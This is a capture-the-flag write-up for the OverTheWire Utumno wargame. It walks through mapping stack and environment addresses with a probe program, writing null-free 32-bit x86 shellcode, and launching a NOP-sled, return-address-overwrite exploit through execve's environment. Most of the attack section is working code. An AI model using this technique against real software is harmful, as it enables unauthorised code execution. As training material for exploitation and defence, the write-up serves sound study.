Injecting Shellcode Through a Launcher: OverTheWire Utumno
Utumno is one of the OverTheWire wargames. The recurring theme is where your data lands in memory — the stack, the arguments, and the environment — and how to steer a vulnerable binary into running bytes you control. This is a writeup of my own path through it: probing the layout with a tiny helper program, then delivering a NOP-sled + shellcode payload through execve's environment.
Step one: see the memory you're working with
Before overwriting anything you need to know exactly where things sit. The vulnerable binaries copy attacker-controlled strings from argv and the environment onto the stack, so the first job is to map those addresses. Rather than guess, I wrote a small child program that just prints every pointer it can see:
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main(int argc, char **argv) {
printf("argc: %d\n", argc);
printf("argv:-\n");
for (char **arg = argv; *arg != NULL; arg++)
printf("%p: %s\n", arg, *arg);
printf("envp:-\n");
for (char **env = environ; *env != NULL; env++)
printf("%p: %s\n", env, *env);
return 0;
}
Then a parent launches it through execve with a hand-picked environment, so the layout the child prints matches the layout the target sees when launched the same way:
char *argv[] = { "", NULL };
char *envp[] = { "E1=e1","E2=e2","E3=e3","E4=e4","E5=e5",
"E6=e6","E7=e7","E8=e8","E9=e9","E10=e10", NULL };
execve("./child", argv, envp);
The addresses the child prints are the ground truth: I now know the stack address of every environment string. That E10 slot near the end becomes the landing pad for the payload.
Step two: write the shellcode
The payload is 32-bit x86 written by hand so I can control every byte — in particular, avoid any 0x00 that would truncate the string as it's copied. As a first, verifiable target the shellcode just does a write(1, "hellow hacker\n", 14) and a clean exit(0); once that runs, swapping in anything else is trivial.
BITS 32
xor eax, eax ; eax = 0, and no 0x00 byte
; build "hellow hacker\n" on the stack, last chunk first
push 0x0a0a0a72 ; 'r' + newline padding
push 0x656b6361 ; "acke"
push 0x6820776f ; "ow h"
push 0x6c6c6568 ; "hell"
mov ecx, esp ; ecx -> the string (buffer arg)
xor edx, edx
mov dl, 14 ; length
xor ebx, ebx
inc ebx ; fd = 1 (stdout), inc avoids a 0x00
mov al, 4 ; syscall 4 = write
int 0x80
xor eax, eax
mov al, 1 ; syscall 1 = exit
xor ebx, ebx
int 0x80
The two habits worth calling out: every register is zeroed with xor reg, reg and set with the low byte (al, dl) or inc, precisely so the assembled bytes never contain a null. The string is pushed last chunk first because the stack grows downward, so after four pushes the bytes read forward in memory.
Step three: deliver it through the environment
Now stitch it together in a launcher. The idea:
- A large NOP sled (
0x90repeated) with the shellcode planted partway in — landing anywhere in the sled slides execution into the code. - An overflow string whose tail overwrites a saved return address with the known stack address of the sled (the
E10slot I measured in step one). - Both handed to the target as environment entries via
execve.
char code[300], over[21];
memset(code, '\x90', 300); // NOP sled
memset(over, 'A', 20); // filler up to the return address
strcpy(over + 16, "\xd0\xde\xff\xff"); // overwrite RA with &E10 = 0xffffded0
fread(code + 100, 1, size, f); // shellcode planted inside the sled
char *envp[] = { "E1=e1", ..., "E8=e8", over, code, NULL };
execve("/utumno/utumno5", argv, envp);
The specific return address (0xffffded0) is exactly the environment address my child probe reported for that slot under this launch configuration — which is why the probe step matters so much. Guessing wastes attempts; measuring lands it.
Why this works
Three things line up:
- Attacker-controlled bytes on the stack. The environment strings are copied verbatim into the target's stack frame, so my sled and shellcode are physically present in the process.
- A hijackable return address. The overflow lets me overwrite a saved return pointer, so when the function returns, the CPU jumps wherever I point it.
- A forgiving landing zone. The NOP sled means I don't need pixel-perfect aim — any address inside the sled works, and the CPU slides down into the shellcode.
Takeaways
The whole level is really a lesson in determinism: on a fixed launch configuration the stack layout is reproducible, so the "hard" part is measurement, not luck. Write a probe, read the real addresses, keep your shellcode null-free, and give yourself a sled so small errors don't cost you the shot. That workflow — probe → craft null-free payload → point a return address into a sled — is the same shape as most classic stack-smashing exercises, and doing it by hand once makes every automated tool afterward far less mysterious.